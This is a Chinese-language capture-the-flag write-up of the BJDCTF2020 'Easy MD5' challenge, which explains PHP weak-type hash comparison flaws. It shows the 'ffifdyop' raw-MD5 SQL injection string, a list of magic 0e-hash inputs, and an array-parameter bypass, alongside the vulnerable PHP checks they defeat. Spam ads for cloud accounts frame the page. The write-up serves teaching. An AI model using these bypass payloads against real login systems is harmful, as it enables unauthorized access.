[BJDCTF2020]Easy MD5(浅谈PHP弱类型hash比较缺陷)

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

目录

信息收集

构造payload 

PHP弱类型hash比较缺陷

0e碰撞

数组MD5

总结


信息收集

看题目应该和MD5加密相关

select * from 'admin' where password=md5($pass,true)

PHP的MD5函数

string必需。规定要计算的字符串。
raw

可选。规定十六进制或二进制输出格式

  • TRUE - 原始16字符二进制格式
  • FALSE - 默认。32 字符十六进制数

构造payload 

<?php
$str = "ffifdyop";
echo "字符串".$str."<br>";
echo md5($str, TRUE);
echo "<br>";
echo md5($str);
?>

字符串ffifdyop
'or'6�]��!r,��b
276f722736c95d99e921722cf9ed621c

即此时执行语句为select * from 'admin' where pass=''or'6�]��!r,��b'

根据sql语句的弱等于规则此刻判定为1永真进入admin

 查看源码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

PHP弱类型hash比较缺陷

== 在进行比较的时候会先将两边的变量类型转化成相同的再进行比较

0e在比较的时候会将其视作为科学计数法所以无论0e后面是什么0的多少次方还是0。

因此CTF比赛中需要用到弱类型HASH比较缺陷最明显的标志便是管理员密码MD5之后的值是以0e开头在已知管理员密码md5值是以0e开头的前提下,观察代码逻辑,如果是使用"=="判断即可直接传入md5值是0e开头的任一密码。

0e碰撞

常见0e开头的MD5

QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675

payload

?a=240610708&b=QNKCDZO

跳转到以下页面

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

数组MD5

payload

param1[]=1&param2[]=2

原理

md5等函数不能处理数组导致函数返回Null。而Null是等于Null的导致了绕过。看下面的示例是返回了yes的。题目中就传入    ?param1[]=1&param2[]=2


总结

md5(array()) = null
sha1(array()) = null    
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: php

“[BJDCTF2020]Easy MD5(浅谈PHP弱类型hash比较缺陷)” 的相关文章